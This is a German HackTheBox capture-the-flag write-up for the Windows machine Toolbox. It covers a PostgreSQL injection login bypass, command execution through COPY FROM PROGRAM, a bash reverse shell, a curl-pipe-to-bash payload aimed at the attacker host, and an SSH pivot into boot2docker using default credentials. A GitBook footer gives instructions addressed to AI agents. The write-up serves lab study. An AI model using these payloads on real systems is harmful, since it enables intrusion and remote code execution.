> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# Toolbox HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Toolbox mit Abdeckung von PostgreSQL-Injection (RCE), Pivoting, Missbrauch von boot2docker (Docker-Toolbox), mit praktischer Enumeration, Ausnutzung, Foothold und Privilegien e

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* PostgreSQL-Injection (RCE)
* Pivotierung
* Missbrauch von boot2docker (Docker-Toolbox)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939555b781b9244a04b1c4d28cb4710a88c4419%2Fimage%20(1044).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e97c4635975251bae664851a550cb5844fcdec8%2Fimage%20(1045).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10cee8a470aa68a2fe3938286ff58767c6bde50f%2F%7B3EAF087B-1B17-48E9-BBB4-A6EC798A7D60%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwendung der extractPorts-Funktion, um offene Ports kompakt anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c383febad40782b18be1eae3597e2684bb4131d%2Fimage%20(1046).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ddd11d4678a53447855c3554f71ce57a2a6cf15a%2F%7BECE323DA-7EB5-416B-8335-F13EDDAECD0B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a1cebf764aad6824e92cf16fefed636dc3cf598%2F%7B3B388FCB-E62E-4EA1-96EC-43C5A7559C85%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Port 21 (FTP)**

Der FTP-Port ist mit dem Benutzer zugänglich `anonymous`. Es gibt eine Datei namens `docker-toolbox.exe`. Diese Datei könnte Hinweise auf eine mögliche Docker-Nutzung liefern.

{% hint style="info" %}
Docker-Toolbox ist eine Sammlung von Tools, die zur Verwaltung von Docker-Containern in älteren oder nicht Docker-Desktop-Umgebungen verwendet wird.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92ae23e2707299aa375f8964dc145111f189d27c%2Fimage%20(1047).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Port 443 (HTTPS)**

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f8628eb1b934470879464835da9dc7d8c682fdf%2F%7B935D2D22-2222-4690-9FE7-B3438E85F2A0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Mögliche Benutzer:**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de8378a9309e0b327e5433a0a2ffccccf23db800%2F%7BB9CBC96F-6AEC-444D-8843-C0A90020E1B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nach der Untersuchung bietet die gehostete Website ein Administrationspanel, das erreichbar ist über `admin.megalogistic.com`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a85849870ff2533bdac783bb7091b34cbad08f6%2F%7B0F089FC8-BDAE-4B9F-8623-DEBCFAAA9D87%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle: PostgreSQL-Injection:

{% hint style="info" %}
PostgreSQL ist ein leistungsstarkes, quelloffenes relationales Datenbankmanagementsystem, das selbst die komplexesten Datenlasten sicher unterstützen kann.
{% endhint %}

Beim Senden dieser Zugangsdaten:

```sql
Benutzername: '
Passwort: '
```

Es erscheint ein SQL-Fehler, der auf ein PostgreSQL-Backend hinweist, das `pg_query`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3a35ec7893cc46ca1ec1213bb51dd2cdfbc50f18%2F%7BAC8CAE76-3B57-4888-B929-D7142B0ABC88%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ausnutzung**

Testen Sie eine klassische Injection-Nutzlast:

```vbnet
Benutzername: ' OR 1=1-- -  
Passwort: beliebig
```

Wir erhalten Zugriff auf das Dashboard-Admin-Panel.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f833b041802dd5d1849f6f578350fd5a83f65f9%2F%7BB5732733-7A5A-4533-A5EB-165C5D0D4085%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Abfragen abfangen mit **Burp Suite** und Ressourcen wie **HackTricks** um Injections anzupassen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3bd0b7b37fcac659909a0f8b8b0e971e3e28083%2F%7B255A6A53-EE6A-4BA4-B3EA-EB9D3732C747%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Um zu testen, ob die Injection die Ausführung von Befehlen erlaubt, verwenden Sie:

`;select pg_sleep(10);-- -`

Wenn sich die Antwort um 10 Sekunden verzögert, ist die Injection nutzbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d92277c8be125ee7fe8c17cdc13d82c95553d808%2Fimage%20(1048).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Befehlsausführung**

Hier ist ein Beispiel, wie man einen Online-Auftrag erhält:

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

Erstellen Sie eine `index.html` Datei mit folgendem Inhalt:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Starten Sie einen HTTP-Server:

```bash
python3 -m http.server 80
```

Richten Sie einen Listener ein:

```bash
nc -nvlp 443
```

Senden Sie das Payload:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05cf300dddf00dd238ffc191e3d0e4bd5dd83f7a%2Fimage%20(1049).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Terminal-Stabilisierung**

Um die Shell interaktiv und komfortabel zu machen:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Stabilisieren Sie die Shell für komfortableres Arbeiten. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Rechteausweitung:

### Docker-Pivotierung

{% hint style="info" %}
Während der Aufklärungsphase haben wir festgestellt, dass unsere Windows-Maschine nicht direkt erreichbar war. Wir konnten jedoch eine Windows-Maschine erreichen, die sich in einem Docker-Container befand, mit der IP-Adresse `172.17.0.2` und das `172.17.0.1` Gateway. Wir werden nun versuchen, über diesen Container zu pivotieren, um unsere Privilegien zu erhöhen.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c13597f6d389972474e5c331a84314b604470a6%2F%7B3258557B-B4F2-4243-A48E-27558C95013C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c116a18718773902912edfa5840b85cc0adbfb2%2Fimage%20(1039).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Überprüfung des SSH-Ports**

Zuerst müssen wir prüfen, ob der SSH-Port (22) auf dem Docker-Gateway (172.17.0.1) offen ist. Dafür verwenden wir einen einfachen Befehl:

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

Port 22 ist offen, was bedeutet, dass wir eine SSH-Verbindung zur Maschine im Container versuchen können.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fa8c5e81828eec484c93464c56b38630e6afc268%2F%7BEAD9A15E-3058-4E82-9767-81350E98F8C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Mit den Standard-Zugangsdaten von Docker Toolbox anmelden**

Die Standard-Anmeldedaten für Docker Toolbox sind:

* **Benutzer**: `docker`
* **Passwort**: `tcuser`

Wir versuchen nun, mithilfe dieser Informationen per SSH eine Verbindung zum Container herzustellen. Nach der Verbindung mit der Maschine stellen wir fest, dass wir mit dem Benutzer Zugriff auf das Root-Verzeichnis des Containers haben `docker`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-784e89bfe8ef2386d00d5d9c5d6b7d66ce77a11e%2Fimage%20(1040).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Erkundung des Dateisystems**

Im Root-Verzeichnis finden wir einen Ordner mit dem Namen **c**, der einen Unterordner enthält **users**. Innerhalb von **users** gibt es einen **Desktop** Ordner, der dem Benutzer gehört **Administrator**. Dies kann bedeuten, dass der Benutzer `docker` über ausreichende Privilegien verfügt, um auf sensible Daten des Benutzers zuzugreifen **Administrator**, was ein guter Ansatz zur Erhöhung der Privilegien ist.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f07ac8d588a6c45917bce096c2ad39d42c587b5%2Fimage%20(1042).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

#### **Suche `user.txt` (User-Flag)**

Wir suchen nun nach der `user.txt` Datei, die häufig verwendet wird, um den erfolgreichen Zugriff eines Benutzers auf eine Maschine zu kennzeichnen. Verwenden wir den folgenden Befehl, um diese Datei im gesamten Dateisystem zu suchen:

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1781ff987062bf73f75f145a7b38e274cb7e438e%2Fimage%20(1043).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir finden die **user.txt** Datei in einem zugänglichen Verzeichnis, was uns ein erstes Erfolgszeichen für unsere Operation gibt.

### root.txt-Flagge :)

Sobald das User-Flag gefunden ist, suchen wir nach der **root.txt** Datei, die sich normalerweise im Benutzerverzeichnis befindet **Administrator**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef038fa88adc7c948eac381e38b9d8eae1a498ab%2Fimage%20(1041).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2ae0bf71c1f3092316d1fe42c15b1120ad4c8d7%2F%7B536D8379-3FDC-4541-B34A-A41A519D2613%7D.png?alt=media" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
